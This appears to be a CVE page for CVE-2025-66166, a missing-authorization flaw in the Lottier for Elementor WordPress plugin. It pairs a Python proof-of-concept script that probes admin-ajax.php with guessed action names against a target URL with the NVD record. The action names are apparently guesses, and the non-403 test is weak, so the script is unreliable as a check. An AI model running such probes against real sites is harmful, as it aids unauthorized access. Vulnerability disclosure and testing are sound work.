CVE-2025-66166

import requests import sys # CVE-2025-66166 PoC - Lottier for Elementor Missing Authorization # Target: WordPress site with Lottier for Elementor plugin <= 1.0.9 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-66166 Missing Authorization in Lottier for Elementor plugin """ # Get WordPress nonce for AJAX requests index_url = target_url.rstrip('/') + '/' try: # Step 1: Get the page to extract nonce response = requests.get(index_url, timeout=10) # Step 2: Try to access admin-ajax.php with low-privilege action # This exploits the missing authorization check ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' # Common Lottier AJAX actions that may be vulnerable vulnerable_actions = [ 'lottier_get_settings', 'lottier_save_settings', 'lottier_get_animations', 'lottier_update_animation' ] headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } for action in vulnerable_actions: data = {'action': action} resp = requests.post(ajax_url, data=data, headers=headers, timeout=10) # If we get a non-403 response, the endpoint may be accessible if resp.status_code != 403: print(f"[+] Potentially vulnerable endpoint found: {action}") print(f"[+] Response status: {resp.status_code}") print(f"[+] Response preview: {resp.text[:200]}") return True return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-66166_poc.py <target_url>") print("Example: python cve-2025-66166_poc.py http://example.com") sys.exit(1) target = sys.argv[1] print(f"[*] Checking CVE-2025-66166 on {target}") if check_vulnerability(target): print("[!] Target appears to be vulnerable") else: print("[*] Target may not be vulnerable or plugin not installed")

{"cve": {"id": "CVE-2025-66166", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:58.933", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in merkulove Lottier for Elementor lottier-elementor allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Lottier for Elementor: from n/a through <= 1.0.9."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/lottier-elementor/vulnerability/wordpress-lottier-for-elementor-plugin-1-0-9-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}